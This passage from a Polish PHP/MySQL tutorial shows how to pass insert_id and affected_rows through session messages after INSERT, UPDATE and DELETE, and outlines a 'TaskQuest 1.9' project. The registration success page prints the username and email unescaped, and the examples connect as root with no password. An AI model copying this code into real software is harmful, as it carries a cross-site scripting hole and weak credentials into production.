            border-radius: 5px;
            border-left: 4px solid #c3e6cb;
            margin-bottom: 30px;
        }
        .info-box {
            background: #e7f3ff;
            padding: 20px;
            border-radius: 5px;
            border-left: 4px solid #2196F3;
            margin-bottom: 20px;
        }
        .info-box p {
            margin: 8px 0;
            color: #333;
        }
        .info-box strong {
            color: #0c5460;
        }
        .buttons {
            display: flex;
            gap: 10px;
            justify-content: center;
        }
        a {
            padding: 12px 30px;
            background: #667eea;
            color: white;
            text-decoration: none;
            border-radius: 5px;
            font-weight: bold;
            text-align: center;
        }
        a:hover {
            background: #764ba2;
        }
    </style>
</head>
<body>

<div class="success-container">
    <div class="success-icon">✓</div>
    <h1>Rejestracja zakończona sukcesem!</h1>
    
    <div class="success-message">
        <p>Witaj, <strong><?= $username ?></strong>!</p>
        <p>Twoje konto zostało pomyślnie utworzone.</p>
    </div>
    
    <div class="info-box">
        <p><strong>Szczegóły operacji:</strong></p>
        <p>ID gracza: <strong><?= $player_id ?></strong></p>
        <p>Username: <strong><?= $username ?></strong></p>
        <p>Email: <strong><?= $email ?></strong></p>
        <p>Liczba dodanych rekordów: <strong><?= $affected_rows ?></strong></p>
        <p>Data rejestracji: <strong><?= $timestamp ?></strong></p>
    </div>
    
    <div class="buttons">
        <a href="profil.php?id=<?= $player_id ?>">Zobacz profil</a>
        <a href="logowanie.php">Zaloguj się</a>
        <a href="lista_graczy.php">Lista graczy</a>
    </div>
</div>

</body>
</html>

Zalety:

• Bezpieczne (dane niewidoczne w URL)
• Można przekazać wiele danych
• Komunikat wyświetla się tylko raz
• Profesjonalne rozwiązanie

Wady:

• Wymaga sesji
• Trochę więcej kodu

Przykład 4: UPDATE z informacją o affected_rows

<?php
session_start();

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$player_id = (int)($_GET['id'] ?? 0);

if ($player_id <= 0) {
    die('Nieprawidłowe ID gracza');
}

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email = trim($_POST['email'] ?? '');
    $level = (int)($_POST['level'] ?? 1);
    $coins = (int)($_POST['coins'] ?? 0);
    
    // Walidacja...
    if (empty($email)) {
        $errors[] = "Email jest wymagany";
    }
    
    if ($level < 1 || $level > 100) {
        $errors[] = "Poziom musi być między 1 a 100";
    }
    
    if (empty($errors)) {
        $stmt = $db->prepare("UPDATE players SET email = ?, level = ?, coins = ? WHERE id = ?");
        $stmt->bind_param("siii", $email, $level, $coins, $player_id);
        
        if ($stmt->execute()) {
            $affected_rows = $stmt->affected_rows;
            
            $stmt->close();
            $db->close();
            
            // Zapisz informacje w sesji
            $_SESSION['update_result'] = [
                'player_id' => $player_id,
                'affected_rows' => $affected_rows,
                'action' => 'update',
                'message' => $affected_rows > 0 
                    ? "Profil został zaktualizowany ({$affected_rows} zmian)" 
                    : "Nie wprowadzono żadnych zmian (dane są identyczne)"
            ];
            
            // Przekierowanie
            header("Location: profil.php?id={$player_id}");
            exit;
        }
        
        $stmt->close();
    }
}

$db->close();
?>

Plik: profil.php (wyświetlanie komunikatu)

<?php
session_start();

$player_id = (int)($_GET['id'] ?? 0);

// Sprawdź czy są dane o aktualizacji
$update_message = '';
$update_data = null;

if (isset($_SESSION['update_result'])) {
    $update_data = $_SESSION['update_result'];
    $update_message = $update_data['message'];
    
    // Usuń z sesji po pobraniu
    unset($_SESSION['update_result']);
}

// Połączenie i pobranie danych gracza...
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$stmt = $db->prepare("SELECT * FROM players WHERE id = ?");
$stmt->bind_param("i", $player_id);
$stmt->execute();
$wynik = $stmt->get_result();
$gracz = $wynik->fetch_assoc();
$stmt->close();
$db->close();

if (!$gracz) {
    die('Nie znaleziono gracza');
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Profil - <?= htmlspecialchars($gracz['username']) ?></title>
    <style>
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #bee5eb;
        }
    </style>
</head>
<body>

<?php if (!empty($update_message)): ?>
    <div class="<?= $update_data['affected_rows'] > 0 ? 'success' : 'info' ?>">
        <?= htmlspecialchars($update_message) ?>
        <?php if ($update_data['affected_rows'] > 0): ?>
            <br><small>Liczba zaktualizowanych rekordów: <?= $update_data['affected_rows'] ?></small>
        <?php endif; ?>
    </div>
<?php endif; ?>

<h1>Profil gracza: <?= htmlspecialchars($gracz['username']) ?></h1>
<p>Email: <?= htmlspecialchars($gracz['email']) ?></p>
<p>Level: <?= $gracz['level'] ?></p>
<p>Coins: <?= number_format($gracz['coins']) ?></p>

<a href="edycja.php?id=<?= $player_id ?>">Edytuj profil</a>

</body>
</html>

Przykład 5: DELETE z potwierdzeniem i informacją o affected_rows

<?php
session_start();

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$player_id = (int)($_GET['id'] ?? 0);

if ($player_id <= 0) {
    die('Nieprawidłowe ID gracza');
}

// Pobierz dane gracza przed usunięciem
$stmt = $db->prepare("SELECT * FROM players WHERE id = ?");
$stmt->bind_param("i", $player_id);
$stmt->execute();
$wynik = $stmt->get_result();
$gracz = $wynik->fetch_assoc();
$stmt->close();

if (!$gracz) {
    die('Nie znaleziono gracza');
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['confirm_delete'])) {
    
    $stmt = $db->prepare("DELETE FROM players WHERE id = ?");
    $stmt->bind_param("i", $player_id);
    
    if ($stmt->execute()) {
        $affected_rows = $stmt->affected_rows;
        
        $stmt->close();
        $db->close();
        
        // Zapisz informacje w sesji
        $_SESSION['delete_result'] = [
            'username' => $gracz['username'],
            'player_id' => $player_id,
            'affected_rows' => $affected_rows,
            'action' => 'delete',
            'message' => $affected_rows > 0 
                ? "Gracz '{$gracz['username']}' (ID: {$player_id}) został usunięty" 
                : "Nie usunięto gracza (możliwe że już nie istnieje)"
        ];
        
        // Przekierowanie do listy graczy
        header("Location: lista_graczy.php");
        exit;
    }
    
    $stmt->close();
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Usuń gracza</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #ff6b6b 0%, #ee5a6f 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.3);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #d32f2f;
            margin-bottom: 20px;
        }
        .warning {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 20px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .player-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .buttons {
            display: flex;
            gap: 10px;
        }
        button, a {
            flex: 1;
            padding: 15px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            text-align: center;
            text-decoration: none;
            display: inline-block;
        }
        .btn-delete {
            background: #d32f2f;
            color: white;
        }
        .btn-delete:hover {
            background: #b71c1c;
        }
        .btn-cancel {
            background: #6c757d;
            color: white;
        }
        .btn-cancel:hover {
            background: #5a6268;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Usuń gracza</h1>
    
    <div class="warning">
        <strong>OSTRZEŻENIE:</strong><br>
        Ta operacja jest nieodwracalna! Gracz zostanie permanentnie usunięty z bazy danych.
    </div>
    
    <div class="player-info">
        <h3>Dane gracza do usunięcia:</h3>
        <p><strong>ID:</strong> <?= $gracz['id'] ?></p>
        <p><strong>Username:</strong> <?= htmlspecialchars($gracz['username']) ?></p>
        <p><strong>Email:</strong> <?= htmlspecialchars($gracz['email']) ?></p>
        <p><strong>Level:</strong> <?= $gracz['level'] ?></p>
        <p><strong>Coins:</strong> <?= number_format($gracz['coins']) ?></p>
    </div>
    
    <form method="POST">
        <div class="buttons">
            <a href="profil.php?id=<?= $player_id ?>" class="btn-cancel">Anuluj</a>
            <button type="submit" name="confirm_delete" class="btn-delete" 
                    onclick="return confirm('Czy NA PEWNO chcesz usunąć tego gracza?')">
                Usuń gracza
            </button>
        </div>
    </form>
</div>

</body>
</html>

Plik: lista_graczy.php (wyświetlanie komunikatu po usunięciu)

<?php
session_start();

// Sprawdź czy są dane o usunięciu
$delete_message = '';
$delete_data = null;

if (isset($_SESSION['delete_result'])) {
    $delete_data = $_SESSION['delete_result'];
    $delete_message = $delete_data['message'];
    
    // Usuń z sesji po pobraniu
    unset($_SESSION['delete_result']);
}

// Połączenie i pobranie listy graczy...
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$stmt = $db->prepare("SELECT * FROM players ORDER BY id DESC");
$stmt->execute();
$wynik = $stmt->get_result();
$gracze = $wynik->fetch_all(MYSQLI_ASSOC);
$stmt->close();
$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Lista graczy</title>
    <style>
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #ffeeba;
        }
        table {
            width: 100%;
            border-collapse: collapse;
        }
        th, td {
            padding: 12px;
            border: 1px solid #ddd;
            text-align: left;
        }
        th {
            background: #667eea;
            color: white;
        }
    </style>
</head>
<body>

<h1>Lista graczy</h1>

<?php if (!empty($delete_message)): ?>
    <div class="<?= $delete_data['affected_rows'] > 0 ? 'success' : 'warning' ?>">
        <?= htmlspecialchars($delete_message) ?>
        <?php if ($delete_data['affected_rows'] > 0): ?>
            <br><small>Liczba usuniętych rekordów: <?= $delete_data['affected_rows'] ?></small>
        <?php endif; ?>
    </div>
<?php endif; ?>

<table>
    <tr>
        <th>ID</th>
        <th>Username</th>
        <th>Email</th>
        <th>Level</th>
        <th>Akcje</th>
    </tr>
    <?php foreach ($gracze as $gracz): ?>
        <tr>
            <td><?= $gracz['id'] ?></td>
            <td><?= htmlspecialchars($gracz['username']) ?></td>
            <td><?= htmlspecialchars($gracz['email']) ?></td>
            <td><?= $gracz['level'] ?></td>
            <td>
                <a href="profil.php?id=<?= $gracz['id'] ?>">Profil</a> |
                <a href="edycja.php?id=<?= $gracz['id'] ?>">Edytuj</a> |
                <a href="usun.php?id=<?= $gracz['id'] ?>">Usuń</a>
            </td>
        </tr>
    <?php endforeach; ?>
</table>

</body>
</html>

Porównanie metod przekazywania danych:

Najlepsze praktyki:

• ZAWSZE używaj przekierowania po INSERT/UPDATE/DELETE
• Używaj SESSION dla komunikatów i wrażliwych danych
• Używaj GET tylko dla ID i prostych parametrów
• Zapisuj insert_id i affected_rows przed przekierowaniem
• Usuwaj dane z sesji po jednokrotnym wyświetleniu
• ZAWSZE dodawaj exit; po header()
• Waliduj dane po stronie odbiorczej (nawet po przekierowaniu)

TaskQuest 1.9 — zadania żyją w bazie: dodawanie, „Zrobione!” i usuwanie

taskquest/
├── index.php                        (zmiana: link „+ Dodaj zadanie”, przyciski „Zrobione!” i „Usuń”, bez symulacji streaka)
├── dodaj-zadanie.php                (zmiana: zapis do bazy)
├── oznacz-wykonane.php              NOWY
├── usun-zadanie.php                 NOWY (zadanie z sekcji 6)
├── zaloguj.php                      bez zmian
├── wyloguj.php                      bez zmian
├── diagnostyka.php                  (zmiana: lista plików, bez sekcji „Pliki danych”)
├── classes/
│   ├── Zadanie.php                  bez zmian
│   └── Uzytkownik.php               (zmiana: aktualizujStreak())
├── config/
│   └── config.php                   (zmiana: bez PLIK_ZADAN)
├── includes/
│   ├── header.php                   (zmiana: styl form.akcja)
│   ├── footer.php                   (zmiana: „TaskQuest 1.9”)
│   ├── funkcje_bazy.php             (zmiana: 5 nowych funkcji)
│   ├── funkcje_zadan.php            (zmiana: bez nastepneIdZadania())
│   ├── funkcje_plikow.php           USUWAMY
│   └── ... pozostałe                bez zmian
├── sql/
│   └── taskquest.sql                bez zmian
└── data/                            USUWAMY (razem z zadania.csv)

INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, xp)
VALUES (2, 'Przetestować INSERT', '', '2026-10-10', 10);

UPDATE zadania
SET data_wykonania = CURDATE()
WHERE uzytkownik_id = 2 AND tytul = 'Przetestować INSERT';

UPDATE zadania
SET data_wykonania = CURDATE()
WHERE uzytkownik_id = 2 AND tytul = 'Przetestować INSERT' AND data_wykonania IS NULL;

UPDATE uzytkownicy SET xp = xp + 10 WHERE id = 2;

DELETE FROM zadania WHERE uzytkownik_id = 2 AND tytul = 'Przetestować INSERT';

<?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();

$premia = 5;
$uzytkownikId = 2;

$zapytanie = $polaczenie->prepare('UPDATE uzytkownicy SET xp = xp + ? WHERE id = ?');
$zapytanie->bind_param('ii', $premia, $uzytkownikId);
$zapytanie->execute();

var_dump($zapytanie->affected_rows);